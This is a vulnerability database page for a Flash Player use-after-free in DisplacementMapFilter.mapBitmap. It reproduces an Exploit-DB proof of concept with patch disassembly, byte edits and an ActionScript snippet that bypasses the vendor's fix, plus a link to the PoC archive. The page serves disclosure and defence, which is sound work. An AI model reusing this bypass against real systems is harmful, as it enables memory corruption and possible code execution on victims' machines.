Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 37861
Publication date : 2015-08-18
22h00 +00:00
Author : bilou
EDB Verified : Yes
Source: https://code.google.com/p/google-security-research/issues/detail?id=377&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Deadline tracking for https://code.google.com/p/chromium/issues/detail?id=487237]
Credit is to bilou, working with the Chromium Vulnerability Reward Program
---
There is a use after free in Flash caused by an improper handling of BitmapData objects in the DisplacementMapFilter.mapBitmap property.
This is almost a repost of Issue 457680 due to a patch failure.
VERSION
Chrome Version: N/A now, Flash StandAlone Debug 17.0.0.188
Operating System: [Win7 x64 SP1]
REPRODUCTION CASE
The AS2 mapBitmap_v2_as2.fla can be compiled with Flash CS5. Some bytes must be changed manually to trigger the issue (see below).
Just put mapBitmap_v2_as2.swf in a browsable directory and run the swf with Chrome. It might crash while dereferencing 0x41424344 (hopefully, not tested yet because not available).
After compiling mapBitmap_v2_as2.swf, I had to change the bytes at offset 0x92B in the (MyBitmapData constructor):
52 17 96 02 00 04 03 26 to 17 17 17 17 17 17 17 17 (actionPOP)
The description is exactly the same as in Issue 457680 so I won't repost it. Here are just my comments on the patch.
They basically added a marker at offset +0xDC in the flash standalone debugger (the standalone player is not available at the time of writing):
.text:005AD629 loc_5AD629:
.text:005AD629 lea ecx, [esi+0DCh]
.text:005AD62F push edi
.text:005AD630 mov [ebp+1C4h+var_198], ecx
.text:005AD633 call xsetUseMarker
.text:0059F762 cmp byte ptr [ecx], 0 ; is the marker present?
.text:0059F765 jz short loc_59F77B
.text:0059F767 cmp [esp+arg_0], 0 ; is 0 provided?
.text:0059F76C jz short locret_59F77E
.text:0059F76E mov ecx, dword_EE4788 ; kill the program
.text:0059F774 call sub_9798C0
.text:0059F779 jmp short locret_59F77E
.text:0059F77B
.text:0059F77B loc_59F77B:
.text:0059F77B mov byte ptr [ecx], 1 ; else set the marker
.text:0059F77E
.text:0059F77E locret_59F77E:
.text:0059F77E retn 4
That marker is then removed when we exit the BitmapData dispatcher:
.text:005AEF29 mov eax, [ebp+1C4h+var_198] ; jumptable 005AD654 default case
.text:005AEF2C mov byte ptr [eax], 0
So, to trigger again the issue, we just have to put an extra call to getPixel32 for example:
var o = new Object()
o.valueOf = function () {
bd.getPixel32(1,4) // remove the marker :)
f()
for (var i = 0; i<0x10;i++) {
var tf:TextFormat = new TextFormat()
tf.tabStops = b
a[i] = tf
}
return 4
}
bd.getPixel32(o,4)
And we're done :)
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37861.zip
Products Mentioned
Configuraton 0
Adobe>>Flash_player >> Version To (including) 18.0.0.209
Apple>>Mac_os_x >> Version -
Microsoft>>Windows >> Version -
Configuraton 0
Adobe>>Flash_player >> Version To (including) 11.2.202.491
Linux>>Linux_kernel >> Version -
Configuraton 0
Opensuse>>Evergreen >> Version 11.4
Configuraton 0
Adobe>>Air >> Version To (including) 18.0.0.180
Adobe>>Air_sdk >> Version To (including) 18.0.0.180
Adobe>>Air_sdk_\&_compiler >> Version To (including) 18.0.0.180
References